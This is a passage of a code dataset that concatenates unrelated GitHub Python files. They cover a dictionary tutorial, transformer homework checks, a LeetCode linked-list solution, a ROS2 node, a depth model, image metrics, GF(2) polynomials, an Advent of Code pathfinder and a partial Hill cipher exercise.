THINGS FROM A DICTIONARY. DELETES KEY AND VALUE.\r\n\r\ndel phonebook[\"Chris\"]\r\nprint(phonebook)\r\n\"\"\"\r\n\r\n\"\"\"\r\nITERATE THROUGH KEYS. K IS THE ITERATOR\r\n\r\nfor k in phonebook:\r\n print(phonebook[k])\r\n\"\"\"\r\n\r\n\"\"\"\r\nITERATE THROUGH VALUES\r\n\r\nfor v in phonebook.values():\r\n print(v)\r\n\"\"\"\r\n\r\n\"\"\"\r\nITERATE THROUGH BOTH KEY AND VALUE PAIR WITH ITEMS METHOD. WHEN YOU USE ITEMS, YOU GET BOTH THE KEY AND THE VALUE. THE PARANTHASES THAT ARE RETURNED ARE A TUPLE. \r\n\r\nfor pair in phonebook.items():\r\n print(pair)\r\n\r\nIF YOU DON'T WANT A TUPLE TO BE RETURNED:\r\n\r\nfor k,v in phonebook.items():\r\n print(k,v)\r\n\"\"\"\r\n\r\n\"\"\"\r\nMETHODS\r\n\r\nCLEAR. WIPES DICTIONARY. \r\n\r\nGET METHOD. THE GET METHOD IS UNIQUE BECAUSE YOU CAN SPECIFY A DEFAULT VALUE, WHICH IS WHAT RETURNED IF PYTHON DOESN'T FIND THE KEY IN THE DICTIONARY. \r\nITS AN ERROR AVOIDING TECHNIQUE. \r\n\r\nKEYS. RETURNS ALL THE DICTIONARIES IN A SEQUENCE.\r\n\r\nPOP. RETURNS THE VALUE ASSOCIATED WITH THE SPECIFIED KEY AND THEN REMOVES THAT KEY-VALUE PAIR FROM THE DICTIONARY. \r\nTHINK OF IT AS YOU ARE POPPING THE ITEM OUT OF THE DICTIONARY.\r\n\"\"\"\r\n","repo_name":"Braxton22/MyDictionaries","sub_path":"dictionary start file.py","file_name":"dictionary start file.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22201496034","text":"import math\n\nimport torch\n\n__all__ = [\n \"check_task_1\",\n \"check_task_2\",\n \"check_task_3\",\n \"check_task_4\"\n]\n\n\ndef check_task_1(pred_res, pred_attn):\n true_res = torch.tensor([[0.1212, 0.5156, -0.2394, -0.1912],\n [0.0999, 0.5376, -0.2558, -0.1143],\n [0.1348, 0.5492, -0.3327, -0.3267]])\n\n true_attn = torch.tensor([[0.3017, 0.3098, 0.3884],\n [0.2451, 0.3801, 0.3748],\n [0.2938, 0.2293, 0.4769]])\n\n assert torch.allclose(pred_res, true_res, rtol=1e-4, atol=1e-4), \"\\033[91m Something is wrong :(\"\n assert torch.allclose(pred_attn, true_attn, rtol=1e-4, atol=1e-4), \"\\033[91m Something is wrong :(\"\n print('\\033[92m Well done :)')\n\n\ndef check_task_2(pred_attn_output):\n true_attn_output = torch.tensor([[[0.0196, -0.0128, -0.0029, 0.0166],\n [0.0181, -0.0118, -0.0026, 0.0153],\n [0.0150, -0.0098, -0.0022, 0.0126]]])\n\n assert torch.allclose(pred_attn_output, true_attn_output, rtol=1e-4, atol=1e-4), \"\\033[91m Something is wrong :(\"\n print('\\033[92m Well done :)')\n\n\ndef check_task_3(pred_pe):\n true_pe = torch.zeros(128, 64)\n position = torch.arange(0, 128, dtype=torch.float).unsqueeze(1)\n div_term = torch.exp(torch.arange(0, 64, 2).float() * (-math.log(10000.0) / 64))\n true_pe[:, 0::2] = torch.sin(position * div_term)\n true_pe[:, 1::2] = torch.cos(position * div_term)\n assert torch.allclose(pred_pe, true_pe, rtol=1e-4, atol=1e-4), \"\\033[91m Something is wrong :(\"\n print('\\033[92m Well done :)')\n\n\ndef check_task_4(positional_encoding):\n x = torch.randn(1, 50, 64)\n diff = positional_encoding(x) - positional_encoding.pe[:, :x.shape[1]]\n assert torch.allclose(x, diff, rtol=1e-4, atol=1e-4), \"\\033[91m Something is wrong :(\"\n print('\\033[92m Well done :)')\n","repo_name":"mryab/dl-hse-ami","sub_path":"week08_transformers/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"31"} +{"seq_id":"71551163287","text":"\"\"\"\nGiven a linked list, reverse the nodes of a linked list k at a time and return its modified list.\n\nk is a positive integer and is less than or equal to the length of the linked list.\nIf the number of nodes is not a multiple of k then left-out nodes in the end should remain as it is.\n\nYou may not alter the values in the nodes, only nodes itself may be changed.\n\nOnly constant memory is allowed.\n\nFor example,\nGiven this linked list: 1->2->3->4->5\n\nFor k = 2, you should return: 2->1->4->3->5\n\nFor k = 3, you should return: 3->2->1->4->5\n\"\"\"\n\n# Definition for singly-linked list.\nimport time\n\n\nclass ListNode(object):\n\n def __init__(self, x):\n self.val = x\n self.next = None\n\n def __repr__(self):\n repr_str = ''\n node = self\n while node:\n repr_str += str(node.val) + ' -> '\n node = node.next\n return repr_str + 'None'\n\n\nclass Solution(object):\n\n def reverseKGroup(self, head, k):\n if not self.needReverse(head, k):\n return head\n head = self.reverseKNodes(head, k)\n i, prev, node = 0, None, head\n while i < k:\n prev = node\n node = node.next\n i += 1\n prev.next = self.reverseKGroup(node, k)\n return head\n\n def reverseKNodes(self, head, k):\n if head is None or head.next is None:\n return head\n prev, curr = None, head\n while curr and k:\n next = curr.next\n curr.next = prev\n prev = curr\n curr = next\n k -= 1\n node = prev\n while node.next:\n node = node.next\n node.next = curr\n return prev\n\n def needReverse(self, head, k):\n while k > 0:\n if not head:\n return False\n head = head.next\n k -= 1\n return True\n\n\na, b, c, d, e, f, g = (ListNode(i) for i in 'abcdefg')\ns = Solution()\na.next, b.next, c.next = b, c, d\nd.next, e.next, f.next = e, f, g\nprint(s.reverseKGroup(a, 5))\n","repo_name":"alphafan/LeetCode_Solution","sub_path":"025_Reverse_Nodes_in_k_Group.py","file_name":"025_Reverse_Nodes_in_k_Group.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10798892613","text":"# /right/image_mono\nimport os\nimport rclpy\nfrom rclpy.node import Node\nimport json\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\nfrom nav_msgs.msg import Odometry\nimport cv2 as cv\nfrom cv_bridge import CvBridge\nimport numpy as np\nfrom operator import add\nfrom statistics import mean\nfrom math import cos, sin\nimport math\nfrom theta_interfaces.srv import Passloc\nfrom rclpy.exceptions import ParameterNotDeclaredException\nfrom rcl_interfaces.msg import ParameterType\n\nclass NpEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(NpEncoder, self).default(obj)\n\n\nclass CoordsFilterMatcher(Node):\n\n\tdef __init__(self):\n\t\tsuper().__init__('coord_filter_match')\n\t\tself.subscription = self.create_subscription(\n\t\t\tString,\n\t\t\t'/centroid_depth',\n\t\t\tself.model_callback,\n\t\t\t10)\n\t\tself.subscription # prevent unused variable warning\n\n\t\tself.cli = self.create_client(Passloc, 'pass_loc')\n\t\twhile not self.cli.wait_for_service(timeout_sec=1.0):\n\t\t\tself.get_logger().info('service not available, waiting again...')\n\t\tself.req = Passloc.Request()\n\t\tself.main_dict = {}\n\t\tself.declare_parameter('threshold', '0.8')\n\n\n\tdef model_callback(self, msg):\n\t\tself.threshold = float(self.get_parameter('threshold').get_parameter_value().string_value)\n\t\tdata = json.loads(msg.data)\n\t\tif len(data)==0:\n\t\t\treturn\n\n\t\tnew_dict = {}\n\t\tfor key in data:\n\t\t\tsub_data = data[key]\n\t\t\tnew_coords =[]\n\t\t\tif key not in self.main_dict.keys():\n\t\t\t\tself.main_dict[key]=[]\n\t\t\t\tfor item in sub_data:\n\t\t\t\t\t self.main_dict[key].append(item)\n\t\t\t\t\t self.main_dict[key][-1].append(2)\n\t\t\telse:\n\t\t\t\tfor item in sub_data:\n\t\t\t\t\tmatch_found = False\n\t\t\t\t\tfor main_item in self.main_dict[key]:\n\t\t\t\t\t\tif match_found:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tif dist(main_item,item)= 5:\n\t\t\t\t\t\t# This is where it will go to the main database\n\t\t\t\t\t\tself.send_request(self.main_dict[key][i],key)\n\t\t\t\t\t\tindexes.append(i)\n\t\t\t\t\t\tself.get_logger().info(\"DATABASE NEW UPDATE\")\n\t\t\t\tindexes.reverse()\n\t\t\t\tfor i in indexes:\n\t\t\t\t\tself.main_dict[key].pop(i)\n\n\tdef send_request(self,data,key):\n\t\tself.req.class_id = int(key)\n\t\tself.req.x = float(data[0])\n\t\tself.req.y = float(data[1])\n\t\tself.req.z = float(data[2])\n\t\taccept = self.cli.call_async(self.req)\n\t\tself.get_logger().info(str(accept))\ndef dist(a,b):\n\ta2 = (a[0]/a[3]**2+a[1]/a[3]**2+a[2]/a[3]**2)**0.5\n\tb2 = (b[0]**2+b[1]**2+b[2]**2)**0.5\n\treturn ((a2-b2)**2)**0.5\n\n\ndef main(args=None):\n\tprint(os.getcwd())\n\trclpy.init(args=args)\n\n\tcoord_filter_match = CoordsFilterMatcher()\n\n\trclpy.spin(coord_filter_match)\n\n\t# Destroy the node explicitly\n\t# (optional - otherwise it will be done automatically\n\t# when the garbage collector destroys the node object)\n\tcoord_filter_match.destroy_node()\n\trclpy.shutdown()\n\n\nif __name__ == '__main__':\n\tprint(os.getcwd())\n\tmain()\n\n","repo_name":"VidishMehta001/Project_Theta","sub_path":"theta_pkgs/theta_pkgs/coords_filter_match.py","file_name":"coords_filter_match.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32819808356","text":"import torch\nimport torch.nn as nn\nfrom . import resnet_module\nfrom . import blocks\n\nclass spacialFeatureExtractor(nn.Module):\n '''\n The spacial feature extractor part of the network\n '''\n def __init__(self, \n Encoder, \n encoder_block_dims = [256, 512, 1024, 2048],\n **kwargs\n ):\n '''\n Args:\n Encoder: \n The encoder network of the extractor\n encoder_block_dims: \n The dimensions of outputs from each block of the encoder\n \n Note:\n 1. The input_dim of DECODER is encoder_block_dims[-1]\n 2. The in_channel_list of MFF is encoder_block_dims\n 3. The out_channels of MFF is encoder_block_dims[-1] // 32\n '''\n super().__init__()\n # if the encoder is a resnet, \n # the output has init_decoder_channels of feature maps\n \n # by default, use resnet50 as encoder\n self.encoder = Encoder\n \n self.Decoder = blocks.Decoder(in_channels=encoder_block_dims[-1])\n self.MFF = blocks.MFF(in_channel_list=encoder_block_dims,\n out_channels=encoder_block_dims[-1] // 32)\n \n # the input_dim of refineblock is determined\n # by the decoder and mff, which is determined by the encoder\n # if the encoder is not resnet50\n # decoder, mff, refinement block should be changed accordingly\n self.refine = blocks.RefineBlock()\n \n def forward(self, x):\n x_b1, x_b2, x_b3, x_b4 = self.encoder(x)\n # params are used to acquire the upsampling shape\n up1_shape = [2 * x_b3.size(2), 2 * x_b3.size(3)]\n up2_shape = [2 * x_b2.size(2), 2 * x_b2.size(3)] \n up3_shape = [2 * x_b1.size(2), 2 * x_b1.size(3)]\n # up4 reconstruct to the shape before encoder's first conv2d\n up4_shape = [4 * x_b1.size(2), 4 * x_b1.size(3)]\n \n x_D = self.Decoder(x_b4, up1_shape, up2_shape, up3_shape, up4_shape)\n x_mff = self.MFF(x_b1, x_b2, x_b3, x_b4)\n \n # concat the x_D and x_mff\n depth = self.refine(torch.cat((x_D, x_mff), 1))\n \n # (B, 1, H, W) image\n return depth\n\n\n\ndef get_model(**kwargs):\n base_resnet50 = resnet_module.get_resnet50(pretrained=True)\n # encoder output a tuple of each block's output\n if kwargs == None or kwargs['encoder'] == 'resnet50':\n E = blocks.Encoder_resnet50(base=base_resnet50)\n model = spacialFeatureExtractor(Encoder=E,\n encoder_block_dims=[256, 512, 1024, 2048])\n return model","repo_name":"Ji-Xinyou/DIP-proj-DepthEstimation","sub_path":"model/Spacial_plan1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28150818312","text":"import cv2\nimport sys\nimport time\nimport numpy as np\nfrom absl import logging\nimport numpy as np\n\ndef reorder_image(img, input_order=\"HWC\"):\n \"\"\"Reorder images to 'HWC' order.\n\n If the input_order is (h, w), return (h, w, 1);\n If the input_order is (c, h, w), return (h, w, c);\n If the input_order is (h, w, c), return as it is.\n\n Args:\n img (ndarray): Input image.\n input_order (str): Whether the input order is 'HWC' or 'CHW'.\n If the input image shape is (h, w), input_order will not have\n effects. Default: 'HWC'.\n\n Returns:\n ndarray: reordered image.\n \"\"\"\n\n if input_order not in [\"HWC\", \"CHW\"]:\n raise ValueError(\n f\"Wrong input_order {input_order}. Supported input_orders are \"\n \"'HWC' and 'CHW'\"\n )\n if len(img.shape) == 2:\n img = img[..., None]\n if input_order == \"CHW\":\n img = img.transpose(1, 2, 0)\n return img\n\n\ndef to_y_channel(img):\n \"\"\"Change to Y channel of YCbCr.\n\n Args:\n img (ndarray): Images with range [0, 255].\n\n Returns:\n (ndarray): Images with range [0, 255] (float type) without round.\n \"\"\"\n img = img.astype(np.float32) / 255.0\n if img.ndim == 3 and img.shape[2] == 3:\n img = bgr2ycbcr(img, y_only=True)\n img = img[..., None]\n return img * 255.0\n\n\n###############################################################################\n# These processing code is copied and modified from official implement: #\n# https://github.com/open-mmlab/mmsr #\n###############################################################################\ndef imresize_np(img, scale, antialiasing=True):\n # Now the scale should be the same for H and W\n # input: img: Numpy, HWC RBG [0,1]\n # output: HWC RBG [0,1] w/o round\n # (Modified from\n # https://github.com/open-mmlab/mmsr/blob/master/codes/data/util.py)\n in_H, in_W, in_C = img.shape\n\n _, out_H, out_W = in_C, np.ceil(in_H * scale), np.ceil(in_W * scale)\n out_H, out_W = out_H.astype(np.int64), out_W.astype(np.int64)\n kernel_width = 4\n kernel = \"cubic\"\n\n # Return the desired dimension order for performing the resize. The\n # strategy is to perform the resize first along the dimension with the\n # smallest scale factor.\n # Now we do not support this.\n\n # get weights and indices\n weights_H, indices_H, sym_len_Hs, sym_len_He = _calculate_weights_indices(\n in_H, out_H, scale, kernel, kernel_width, antialiasing\n )\n weights_W, indices_W, sym_len_Ws, sym_len_We = _calculate_weights_indices(\n in_W, out_W, scale, kernel, kernel_width, antialiasing\n )\n # process H dimension\n # symmetric copying\n img_aug = np.zeros(((in_H + sym_len_Hs + sym_len_He), in_W, in_C))\n img_aug[sym_len_Hs : sym_len_Hs + in_H] = img\n\n sym_patch = img[:sym_len_Hs, :, :]\n sym_patch_inv = sym_patch[::-1]\n img_aug[0:sym_len_Hs] = sym_patch_inv\n\n sym_patch = img[-sym_len_He:, :, :]\n sym_patch_inv = sym_patch[::-1]\n img_aug[sym_len_Hs + in_H : sym_len_Hs + in_H + sym_len_He] = sym_patch_inv\n\n out_1 = np.zeros((out_H, in_W, in_C))\n kernel_width = weights_H.shape[1]\n for i in range(out_H):\n idx = int(indices_H[i][0])\n out_1[i, :, 0] = weights_H[i].dot(\n img_aug[idx : idx + kernel_width, :, 0].transpose(0, 1)\n )\n out_1[i, :, 1] = weights_H[i].dot(\n img_aug[idx : idx + kernel_width, :, 1].transpose(0, 1)\n )\n out_1[i, :, 2] = weights_H[i].dot(\n img_aug[idx : idx + kernel_width, :, 2].transpose(0, 1)\n )\n\n # process W dimension\n # symmetric copying\n out_1_aug = np.zeros((out_H, in_W + sym_len_Ws + sym_len_We, in_C))\n out_1_aug[:, sym_len_Ws : sym_len_Ws + in_W] = out_1\n\n sym_patch = out_1[:, :sym_len_Ws, :]\n sym_patch_inv = sym_patch[:, ::-1]\n out_1_aug[:, 0:sym_len_Ws] = sym_patch_inv\n\n sym_patch = out_1[:, -sym_len_We:, :]\n sym_patch_inv = sym_patch[:, ::-1]\n out_1_aug[:, sym_len_Ws + in_W : sym_len_Ws + in_W + sym_len_We] = sym_patch_inv\n\n out_2 = np.zeros((out_H, out_W, in_C))\n kernel_width = weights_W.shape[1]\n for i in range(out_W):\n idx = int(indices_W[i][0])\n out_2[:, i, 0] = out_1_aug[:, idx : idx + kernel_width, 0].dot(weights_W[i])\n out_2[:, i, 1] = out_1_aug[:, idx : idx + kernel_width, 1].dot(weights_W[i])\n out_2[:, i, 2] = out_1_aug[:, idx : idx + kernel_width, 2].dot(weights_W[i])\n\n return out_2.clip(0, 255)\n\n\ndef _cubic(x):\n absx = np.abs(x)\n absx2 = absx ** 2\n absx3 = absx ** 3\n return (1.5 * absx3 - 2.5 * absx2 + 1) * ((absx <= 1).astype(np.float64)) + (\n -0.5 * absx3 + 2.5 * absx2 - 4 * absx + 2\n ) * (((absx > 1) * (absx <= 2)).astype(np.float64))\n\n\ndef _calculate_weights_indices(\n in_length, out_length, scale, kernel, kernel_width, antialiasing\n):\n if (scale < 1) and (antialiasing):\n # Use a modified kernel to simultaneously interpolate and antialias\n # larger kernel width\n kernel_width = kernel_width / scale\n\n # Output-space coordinates\n x = np.linspace(1, out_length, out_length)\n\n # Input-space coordinates. Calculate the inverse mapping such that 0.5\n # in output space maps to 0.5 in input space, and 0.5+scale in output\n # space maps to 1.5 in input space.\n u = x / scale + 0.5 * (1 - 1 / scale)\n\n # What is the left-most pixel that can be involved in the computation?\n left = np.floor(u - kernel_width / 2)\n\n # What is the maximum number of pixels that can be involved in the\n # computation? Note: it's OK to use an extra pixel here; if the\n # corresponding weights are all zero, it will be eliminated at the end\n # of this function.\n P = (np.ceil(kernel_width) + 2).astype(np.int32)\n\n # The indices of the input pixels involved in computing the k-th output\n # pixel are in row k of the indices matrix.\n indices = left.reshape(int(out_length), 1).repeat(P, axis=1) + np.linspace(\n 0, P - 1, P\n ).reshape(1, int(P)).repeat(out_length, axis=0)\n\n # The weights used to compute the k-th output pixel are in row k of the\n # weights matrix.\n distance_to_center = u.reshape(int(out_length), 1).repeat(P, axis=1) - indices\n # apply cubic kernel\n if (scale < 1) and (antialiasing):\n weights = scale * _cubic(distance_to_center * scale)\n else:\n weights = _cubic(distance_to_center)\n # Normalize the weights matrix so that each row sums to 1.\n weights_sum = np.sum(weights, 1).reshape(int(out_length), 1)\n weights = weights / weights_sum.repeat(P, axis=1)\n\n # If a column in weights is all zero, get rid of it. only consider the\n # first and last column.\n weights_zero_tmp = np.sum((weights == 0), 0)\n if not np.isclose(weights_zero_tmp[0], 0, rtol=1e-6):\n indices = indices[:, 1 : 1 + int(P) - 2]\n weights = weights[:, 1 : 1 + int(P) - 2]\n if not np.isclose(weights_zero_tmp[-1], 0, rtol=1e-6):\n indices = indices[:, 0 : 0 + int(P) - 2]\n weights = weights[:, 0 : 0 + int(P) - 2]\n weights = weights.copy()\n indices = indices.copy()\n sym_len_s = -indices.min() + 1\n sym_len_e = indices.max() - in_length\n indices = indices + sym_len_s - 1\n return weights, indices, int(sym_len_s), int(sym_len_e)\n\n\ndef calculate_psnr(img1, img2):\n # img1 and img2 have range [0, 255]\n img1 = img1.astype(np.float64)\n img2 = img2.astype(np.float64)\n mse = np.mean((img1 - img2) ** 2)\n if mse == 0:\n return float(\"inf\")\n return 20 * np.log10(255.0 / np.sqrt(mse))\n\n\ndef _ssim(img1, img2):\n C1 = (0.01 * 255) ** 2\n C2 = (0.03 * 255) ** 2\n\n img1 = img1.astype(np.float64)\n img2 = img2.astype(np.float64)\n kernel = cv2.getGaussianKernel(11, 1.5)\n window = np.outer(kernel, kernel.transpose())\n\n mu1 = cv2.filter2D(img1, -1, window)[5:-5, 5:-5] # valid\n mu2 = cv2.filter2D(img2, -1, window)[5:-5, 5:-5]\n mu1_sq = mu1 ** 2\n mu2_sq = mu2 ** 2\n mu1_mu2 = mu1 * mu2\n sigma1_sq = cv2.filter2D(img1 ** 2, -1, window)[5:-5, 5:-5] - mu1_sq\n sigma2_sq = cv2.filter2D(img2 ** 2, -1, window)[5:-5, 5:-5] - mu2_sq\n sigma12 = cv2.filter2D(img1 * img2, -1, window)[5:-5, 5:-5] - mu1_mu2\n\n ssim_map = ((2 * mu1_mu2 + C1) * (2 * sigma12 + C2)) / (\n (mu1_sq + mu2_sq + C1) * (sigma1_sq + sigma2_sq + C2)\n )\n return ssim_map.mean()\n\n\ndef calculate_ssim(img1, img2):\n \"\"\"calculate SSIM\n the same outputs as MATLAB's\n img1, img2: [0, 255]\n \"\"\"\n if not img1.shape == img2.shape:\n raise ValueError(\"Input images must have the same dimensions.\")\n if img1.ndim == 2:\n return _ssim(img1, img2)\n elif img1.ndim == 3:\n if img1.shape[2] == 3:\n ssims = []\n for _ in range(3):\n ssims.append(_ssim(img1, img2))\n return np.array(ssims).mean()\n elif img1.shape[2] == 1:\n return _ssim(np.squeeze(img1), np.squeeze(img2))\n else:\n raise ValueError(\"Wrong input image dimensions.\")\n\n\ndef rgb2ycbcr(img, only_y=True):\n \"\"\"Convert rgb to ycbcr\n only_y: only return Y channel\n Input:\n uint8, [0, 255]\n float, [0, 1]\n \"\"\"\n in_img_type = img.dtype\n img.astype(np.float32)\n if in_img_type != np.uint8:\n img *= 255.0\n img = img[:, :, ::-1]\n\n # convert\n if only_y:\n rlt = np.dot(img, [24.966, 128.553, 65.481]) / 255.0 + 16.0\n else:\n rlt = np.matmul(\n img,\n [\n [24.966, 112.0, -18.214],\n [128.553, -74.203, -93.786],\n [65.481, -37.797, 112.0],\n ],\n ) / 255.0 + [16, 128, 128]\n if in_img_type == np.uint8:\n rlt = rlt.round()\n else:\n rlt /= 255.0\n return rlt.astype(in_img_type)","repo_name":"Mind23-2/MindCode-40","sub_path":"src/utils/eval_util.py","file_name":"eval_util.py","file_ext":"py","file_size_in_byte":9849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14861457036","text":"import numpy.polynomial\n\nclass G2Polynomial:\n \"\"\"\n This class represents a polynomial in GF(2). It wraps and extends numpy's\n Polynomial class.\n\n The constructor for this class takes a string of binary digits, rather than\n the list of coefficients used by Polynomial. To create a G2Polynomial for\n x^5 + x^3 + 1, do:\n\n myPolynomial = G2Polynomial(\"101001\")\n\n \"\"\"\n\n def __init__(self, initValue):\n if isinstance(initValue, str):\n coefficients = list()\n for digit in initValue:\n coefficients.insert(0, int(digit))\n self.polynomial = numpy.polynomial.Polynomial(coefficients)\n\n elif isinstance(initValue, numpy.polynomial.Polynomial):\n self.polynomial = initValue\n\n else:\n self.polynomial = None\n\n self.reduce()\n\n def reduce(self):\n if self.polynomial:\n coefficients = list()\n for coefficient in self.polynomial:\n coefficients.append(coefficient % 2)\n self.polynomial = numpy.polynomial.Polynomial(coefficients)\n\n def __str__(self):\n power = self.polynomial.degree()\n first = True\n polynomialString = \"\"\n for coefficient in reversed(list(self.polynomial)):\n if coefficient != 0 or (power == 0 and first):\n if first:\n first = False\n else:\n polynomialString += \" + \"\n\n if power == 0 or coefficient > 1:\n polynomialString += str(int(coefficient))\n if power >= 1:\n polynomialString += \"x\"\n if power >= 2:\n polynomialString += \"^\" + str(power)\n\n power -= 1\n\n return polynomialString\n\n def toBinaryString(self, minDigits = 0):\n binaryString = \"\"\n\n for coefficient in reversed(list(self.polynomial)):\n binaryString += str(int(coefficient))\n\n while len(binaryString) < minDigits:\n binaryString = \"0\" + binaryString;\n\n return binaryString\n\n def degree(self):\n return self.polynomial.degree()\n\n def __add__(self, other):\n return G2Polynomial(self.polynomial.__add__(other.polynomial))\n\n def __mul__(self, other):\n return G2Polynomial(self.polynomial.__mul__(other.polynomial))\n\n def __mod__(self, other):\n return G2Polynomial(self.polynomial.__mod__(other.polynomial))\n\n def __pow__(self, other):\n return G2Polynomial(self.polynomial.__pow__(other))\n\n","repo_name":"tommythorsen/documents","sub_path":"generating-s-boxes/scripts/auxiliary/g2polynomial.py","file_name":"g2polynomial.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8649415910","text":"import logging\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Iterable, NamedTuple, Protocol\n\nimport numpy as np\nimport numpy.typing as npt\n\nfrom ..cli_utils import wrap_main\nfrom ..io_utils import get_stripped_lines\nfrom ..logs import setup_logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass Position(NamedTuple):\n y: int\n x: int\n\n\n@dataclass\nclass Board:\n tiles: npt.NDArray[np.uint8]\n start_position: Position\n end_position: Position\n\n\ndef parse_board(filename: Path) -> Board:\n start_position: Position | None = None\n end_position: Position | None = None\n lines: list[list[int]] = []\n a_ord = ord(\"a\")\n for row_idx, line in enumerate(get_stripped_lines(filename)):\n if \"S\" in line:\n assert start_position is None\n start_position = Position(x=line.index(\"S\"), y=row_idx)\n line = line.replace(\"S\", \"a\")\n if \"E\" in line:\n assert end_position is None\n end_position = Position(x=line.index(\"E\"), y=row_idx)\n line = line.replace(\"E\", \"z\")\n elevations = [ord(c) - a_ord for c in line]\n lines.append(elevations)\n tiles = np.array(lines, dtype=np.uint8)\n assert start_position is not None\n assert end_position is not None\n return Board(tiles=tiles, start_position=start_position, end_position=end_position)\n\n\ndef argmin2d(array: npt.NDArray[np.uint32]) -> Position:\n y, x = np.unravel_index(np.argmin(array), array.shape)\n return Position(y=int(y), x=int(x))\n\n\nclass CanClimbCallback(Protocol):\n def __call__(self, current_elevation: int, neighbor_elevation: int) -> bool:\n ...\n\n\nclass EarlyStoppingCallback(Protocol):\n def __call__(self, neighbor_position: Position, neighbor_elevation: int) -> bool:\n ...\n\n\ndef find_path(\n tiles: npt.NDArray[np.uint8],\n *,\n start_position: Position,\n can_climb_callback: CanClimbCallback,\n early_stopping_callback: EarlyStoppingCallback,\n) -> int:\n logger.debug(\"Searching for best path from %s\", start_position)\n height, width = tiles.shape\n visited = np.zeros_like(tiles, dtype=bool)\n costs = np.full_like(tiles, fill_value=np.iinfo(np.uint32).max, dtype=np.uint32)\n costs[start_position] = 0\n\n def get_unvisited_neighbors(position: Position) -> Iterable[Position]:\n current_elevation = tiles[position]\n north = Position(y=position.y - 1, x=position.x)\n if (\n north.y >= 0\n and not visited[north]\n and can_climb_callback(current_elevation, tiles[north])\n ):\n yield north\n south = Position(y=position.y + 1, x=position.x)\n if (\n south.y < height\n and not visited[south]\n and can_climb_callback(current_elevation, tiles[south])\n ):\n yield south\n west = Position(y=position.y, x=position.x - 1)\n if (\n west.x >= 0\n and not visited[west]\n and can_climb_callback(current_elevation, tiles[west])\n ):\n yield west\n east = Position(y=position.y, x=position.x + 1)\n if (\n east.x < width\n and not visited[east]\n and can_climb_callback(current_elevation, tiles[east])\n ):\n yield east\n\n while not np.all(visited):\n # get 2d index of lowest cost item\n lowest_cost_index = argmin2d(np.where(visited, np.inf, costs))\n lowest_cost = costs[lowest_cost_index]\n logger.debug(\"Visiting %s with cost %d\", lowest_cost_index, lowest_cost)\n unvisited_neighbors = get_unvisited_neighbors(lowest_cost_index)\n neighbor_cost: int = lowest_cost + 1\n for neighbor_idx in unvisited_neighbors:\n costs[neighbor_idx] = neighbor_cost\n logger.debug(\"Found neighbor %s with cost %d\", neighbor_idx, neighbor_cost)\n if early_stopping_callback(neighbor_idx, tiles[neighbor_idx]):\n logger.debug(\"Early stopping at %s\", neighbor_idx)\n return neighbor_cost\n visited[lowest_cost_index] = True\n\n raise AssertionError(\"Algorithm should have stopped early\")\n\n\n@wrap_main\ndef main(filename: Path) -> str:\n board = parse_board(filename)\n cost = find_path(\n board.tiles,\n start_position=board.start_position,\n can_climb_callback=(\n lambda current_elevation, neighbor_elevation: neighbor_elevation\n <= current_elevation + 1\n ),\n early_stopping_callback=(\n lambda neighbor_position, neighbor_elevation: neighbor_position\n == board.end_position\n ),\n )\n return str(cost)\n\n\nif __name__ == \"__main__\":\n setup_logging()\n main()\n","repo_name":"kurazu/advent_of_code_2022","sub_path":"advent/day_12/task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19903232581","text":"import sys\nfrom Hilltools import *\n\n# Scorrere in fondo al programma per leggerne il funzionamento passo passo\n\ndef create_indexes(block):\n indexes = []\n for ch in block:\n indexes.append(indexof(ch))\n return indexes\n\n\ndef create_characters(ciphervalues):\n chars = []\n for val in ciphervalues:\n chars.append(gamma[int(val)])\n return ''.join(chars)\n\n\ndef cipher_block(plainblock, key):\n blockvalues = create_indexes(plainblock)\n ciphervalues = dot_product(key, blockvalues)\n cipherblock = create_characters(ciphervalues)\n return cipherblock\n\n\ndef encrypt(text, key):\n text = clean(text)\n m = len(key)\n blocks = []\n cipherblocks = []\n for i in range(0,len(text),m):\n blocks.append(text[i:i+m])\n if len(blocks[-1])!= m:\n for i in range(len(blocks[-1]),m):\n blocks[-1] = blocks[-1] + 'a'\n for block in blocks:\n cipherblocks.append(cipher_block(block,key))\n return ''.join(cipherblocks)\n\n\ndef decrypt(text, key):\n key = modMatInv(key, len(gamma))\n return encrypt(text,key)\n\n\ndef shiftLeft(v):\n temp = v[0]\n for i in range(0,len(v)-1):\n v[i] = v[i+1]\n v[-1] = temp\n\n\ndef find_key(pt, ct, m): # pt e ct sono liste di indici. Questa funzione prova a rompere il cifrario di Hill\n pairs = []\n for i in range(0,len(pt),m):\n pairs.append((create_indexes(pt[i:i+m]),create_indexes(ct[i:i+m])))\n if len(pairs) < m:\n raise Exception(\"Non ci sono abbastanza coppie plaintext-ciphertext\")\n k = 0\n while k < len(pairs):\n pstar = []\n cstar = []\n for i in range(0,m):\n pstar.append(pairs[i][0]) # P* è una matrice m x m dove ogni riga è il known plaintext\n cstar.append(pairs[i][1]) # C* è una matrice m x m dove cstar[i] = ciphertext(plaintext[i])\n try:\n 